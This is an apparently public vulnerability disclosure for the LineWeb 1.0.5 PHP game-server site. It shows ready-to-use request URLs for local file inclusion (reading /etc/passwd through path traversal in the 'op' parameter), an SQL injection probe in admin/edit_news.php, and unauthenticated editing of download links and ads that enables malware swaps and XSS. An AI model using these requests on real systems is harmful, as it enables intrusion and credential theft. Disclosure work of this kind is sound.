We can found this part of code on index.php

<?php if (isset($_GET['op'])) { { $op = "modules/" . $_GET['op'] . ".php"; } if(!file_exists($op)) $op = "error.php"; } else $op = "main.php"; // include the page specified in the browser address field: include($op); ?>

Wich allows us to include local files on index.php by using the $op variable, IE: http://localhost/Lineage ACM/lineweb_1.0.5/index.php?op=../../../../../../../etc/passwd

We also can find this vuln. in /admin/index.php, IE: http://localhost/Lineage%20ACM/lineweb_1.0.5/admin/index.php?op=../../../../../../../etc/passwd

Strange behavior on op=register:

If we register a username twice, IE: username=o&password=12345&confirmpassword=12345&email=&submit2=Register We get: The username already exists.

But if we send a long string twice, IE: username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaao&password=12345&confirmpassword=12345&email=&submit2=Register

We get: Duplicate entry 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' for key 'PRIMARY'

їSQL Injection?

In admin/edit_news.php we can find this source:

65 elseif(isset($_GET['newsid'])) 66 { 67 68 $result = mysql_query("SELECT * FROM news WHERE newsid='" . $_GET['newsid'] . "'"); 69 while($myrow = mysql_fetch_array($result)) 70 { 71

We can observe that it doesn't make any check at all any input that we make on $newsid, so if we inject a " ' " in: http://localhost/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27 We get:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\wamp\www\Lineage ACM\lineweb_1.0.5\admin\edit_news.php on line 69 We can find this vuln in: edit_news.php ; edit_downloads.php y edit_ads.php. It requires magic_quotes = OFF

Edit without permission:

edit_downloads.php allows us to edit any download link, without any verification at all. By doing this, we could trick the user to download an infected file.

The same happens on edit_ads.php, if we give to our URL values to ad_name y ad_content, we could get without any verification, permission to edit news: http://localhost/Lineage%20ACM/lineweb_1.0.5/admin/edit_ads.php?ad_id=1&ad_name=a&ad_content=ARGENTINA

By doing this we could make a HTML, XSS or CSS injection.
